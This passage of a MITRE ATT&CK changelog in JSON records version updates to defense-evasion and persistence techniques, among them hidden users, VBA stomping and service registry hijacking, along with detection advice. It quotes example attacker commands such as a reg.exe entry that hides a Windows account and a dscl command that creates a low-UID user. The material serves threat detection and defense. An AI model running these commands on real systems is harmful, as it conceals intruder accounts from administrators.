\"Application Log: Application Log Content\", \"old_value\": \"Process: Process Creation\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Creation\", \"root['x_mitre_platforms'][3]\": \"Office 365\"}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][11]\": \"Process: Process Creation\", \"root['x_mitre_data_sources'][12]\": \"File: File Creation\", \"root['x_mitre_data_sources'][14]\": \"File: File Content\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0001: Firmware (Firmware Modification)", "DS0002: User Account (User Account Creation)", "DS0002: User Account (User Account Metadata)", "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0012: Script (Script Execution)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0022: File (File Creation)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-13 20:12:40.876000+00:00", "modified": "2021-10-14 20:22:03.625000+00:00", "name": "Hidden Users", "description": "Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\n\nIn macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\n\nIn Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user \u201ctest\u201d from the Windows login screen: reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/002", "external_id": "T1564.002" }, { "source_name": "Cybereason OSX Pirrit", "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.", "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" }, { "source_name": "FireEye SMOKEDHAM June 2021", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html" }, { "source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Omkar Gudhate" ], "x_mitre_data_sources": [ "Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "User Account: User Account Creation", "User Account: User Account Metadata", "File: File Modification" ], "x_mitre_detection": "This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, \"hidden\" users may still get a home directory and will appear in the authentication logs.\n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList key.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "root", "Administrator" ], "x_mitre_platforms": [ "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Omkar Gudhate\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 20:22:03.625000+00:00\", \"old_value\": \"2020-07-31 17:42:43.768000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\\n\\nIn macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\\n\\nIn Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user \\u201ctest\\u201d from the Windows login screen: reg.exe ADD 'HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\", \"old_value\": \"Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.\\n\\nThere is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.\\n+Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\\n \\n-There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).\\n+In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\\n+\\n+In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user \\u201ctest\\u201d from the Windows login screen: reg.exe ADD 'HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, \\\"hidden\\\" users may still get a home directory and will appear in the authentication logs.\\n\\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccountsUserList key.\", \"old_value\": \"This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\\n+This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, \\\"hidden\\\" users may still get a home directory and will appear in the authentication logs.\\n+\\n+Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccountsUserList key.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"FireEye SMOKEDHAM June 2021\", \"description\": \"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.\", \"url\": \"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html\"}, \"root['external_references'][3]\": {\"source_name\": \"US-CERT TA18-074A\", \"description\": \"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.\", \"url\": \"https://www.us-cert.gov/ncas/alerts/TA18-074A\"}, \"root['x_mitre_data_sources'][0]\": \"Command: Command Execution\", \"root['x_mitre_data_sources'][1]\": \"Windows Registry: Windows Registry Key Modification\", \"root['x_mitre_data_sources'][2]\": \"Process: Process Creation\", \"root['x_mitre_platforms'][1]\": \"Windows\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use hidden users to mask the presence of uset1Adversaries may use hidden users to mask the presence of use
>r accounts they create. Every user account in macOS has a us>r accounts they create or modify. Normal users may want to h
>erID associated with it. When creating a user, you can speci>ide users when there are many users accounts on a given syst
>fy the userID for that account.  There is a property value i>em or want to keep an account hidden from the other users on
>n <code>/Library/Preferences/com.apple.loginwindow</code> ca> the system.  In macOS, every user account has a userID asso
>lled <code>Hide500Users</code> that prevents users with user>ciated with it. When creating a user, you can specify the us
>IDs 500 and lower from appearing at the login screen. When u>erID for that account. There is a property value in <code>/L
>sing the [Create Account](https://attack.mitre.org/technique>ibrary/Preferences/com.apple.loginwindow</code> called <code
>s/T1136) technique with a userID under 500 (ex: <code>sudo d>>Hide500Users</code> that prevents users with userIDs 500 an
>scl . -create /Users/username UniqueID 401</code>) and enabl>d lower from appearing at the login screen. When using the [
>ing this property (setting it to Yes), an adversary can conc>Create Account](https://attack.mitre.org/techniques/T1136) t
>eal user accounts. (Citation: Cybereason OSX Pirrit).>echnique with a userID under 500 (ex: <code>sudo dscl . -cre
 >ate /Users/username UniqueID 401</code>) and enabling this p
 >roperty (setting it to Yes), an adversary can conceal user a
 >ccounts. (Citation: Cybereason OSX Pirrit)  In Windows, adve
 >rsaries may hide user accounts via settings in the Registry.
 > For example, an adversary may add a value to the Windows Re
 >gistry (via [Reg](https://attack.mitre.org/software/S0075) o
 >r other means) that will hide the user \u201ctest\u201d from the Windo
 >ws login screen: <code>reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\
 >Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList' 
 >/v test /t REG_DWORD /d 0 /f</code>.(Citation: FireEye SMOKE
 >DHAM June 2021)(Citation: US-CERT TA18-074A)
", "changelog_mitigations": { "shared": [ "M1028: Operating System Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Creation)", "DS0002: User Account (User Account Metadata)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-06-29 15:36:41.535000+00:00", "modified": "2021-10-14 22:21:59.708000+00:00", "name": "Run Virtual Instance", "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/006", "external_id": "T1564.006" }, { "source_name": "SingHealth Breach Jan 2019", "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020.", "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx" }, { "source_name": "Sophos Ragnar May 2020", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/" }, { "source_name": "Shadowbunny VM Defense Evasion", "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.", "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Johann Rehberger", "Janantha Marasinghe", "Menachem Shafran, XM Cyber" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Creation", "Command: Command Execution", "Service: Service Creation", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\").\n\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 22:21:59.708000+00:00\", \"old_value\": \"2020-07-06 19:03:40.330000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\\n\\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n\\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n\\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\", \"old_value\": \"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances.\\n\\nIf virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n\\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,7 @@\\n-Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances.\\n+Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\\n \\n-If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n+Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n+\\n+Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n \\n Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Shadowbunny VM Defense Evasion\", \"description\": \"Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.\", \"url\": \"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/\"}, \"root['x_mitre_contributors'][0]\": \"Johann Rehberger\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0022: File (File Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-09-17 12:51:40.845000+00:00", "modified": "2021-10-15 14:02:07.944000+00:00", "name": "VBA Stomping", "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/007", "external_id": "T1564.007" }, { "source_name": "FireEye VBA stomp Feb 2020", "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html" }, { "source_name": "Evil Clippy May 2019", "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.", "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/" }, { "source_name": "Microsoft _VBA_PROJECT Stream", "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.", "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239" }, { "source_name": "Walmart Roberts Oct 2018", "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.", "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278" }, { "source_name": "pcodedmp Bontchev", "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.", "url": "https://github.com/bontchev/pcodedmp" }, { "source_name": "oletools toolkit", "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.", "url": "https://github.com/decalage2/oletools" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Rick Cole, Mandiant" ], "x_mitre_data_sources": [ "Script: Script Execution", "File: File Metadata" ], "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], "x_mitre_system_requirements": [ "MS Office version specified in _VBA_PROJECT stream must match host" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 14:02:07.944000+00:00\", \"old_value\": \"2020-09-23 11:31:50.407000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Rick Cole, Mandiant\", \"old_value\": \"Rick Cole, FireEye\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Metadata\", \"old_value\": \"File: File Content\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0012: Script (Script Execution)", "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-13 11:42:14.444000+00:00", "modified": "2021-10-14 23:52:52.058000+00:00", "name": "Services Registry Permissions Weakness", "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/011", "external_id": "T1574.011" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/478.html", "external_id": "CAPEC-478" }, { "source_name": "Registry Key Security", "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.", "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN" }, { "source_name": "malware_hides_service", "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.", "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/" }, { "source_name": "Kansa Service related collectors", "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.", "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html" }, { "source_name": "Tweet Registry Perms Weakness", "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", "url": "https://twitter.com/r0wdy_/status/936365549553991680" }, { "source_name": "microsoft_services_registry_tree", "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.", "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree" }, { "source_name": "insecure_reg_perms", "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.", "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/" }, { "source_name": "troj_zegost", "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost" }, { 